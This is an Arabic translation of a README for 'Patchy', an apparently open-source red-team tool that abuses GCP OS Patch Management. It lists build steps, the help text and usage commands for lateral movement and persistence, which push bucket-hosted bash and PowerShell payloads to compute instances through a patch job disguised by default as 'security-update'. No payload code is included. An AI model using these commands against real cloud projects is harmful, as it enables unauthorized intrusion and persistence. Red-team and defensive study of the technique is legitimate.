
الثبات الآلي والحركة الجانبية باستخدام GCP Patch Management
حركة جانبية آلية واستمرارية من خلال إساءة استخدام إدارة تصحيح أنظمة تشغيل GCP استنادًا إلى منشور مدونتي.
يتكون Patchy من وضعين رئيسيين: الحركة الجانبية والاستمرارية. تستخدم الاستمرارية بيانات اعتماد حساب خدمة صالحة لإنشاء patch job أو deployment. تحاول الحركة الجانبية الوصول إلى جميع مثيلات الحوسبة داخل المشروع. لاستخدامه، يجب أن يكون داخل بيئة GCP مع توفر API البيانات الوصفية. تحتوي الحركة الجانبية على وضع يسمح لها بمعرفة ما إذا كان الاستغلال ممكنًا دون محاولة أي شيء عدواني (مفيد لمعرفة ما إذا كانت بيئتك آمنة).
لاقتراحات الميزات، يرجى فتح issue. إذا كانت هناك أي مشكلات، فيرجى إنشاء PR مع الإصلاح الخاص بك.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
يرجى ملاحظة أن هذا يتطلب >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
استغلال حسابات الخدمة داخل بيئة GCP المحلية، myBucket هو اسم الحاوية العامة (bucket) المستضيفة للـ payloads:
$ ./patchy -b myBucket lat -e
تثبيت الاستمرارية باستخدام حساب خدمة بتنسيق json:
$ ./patchy -b myBucket persist -c serviceAccount.json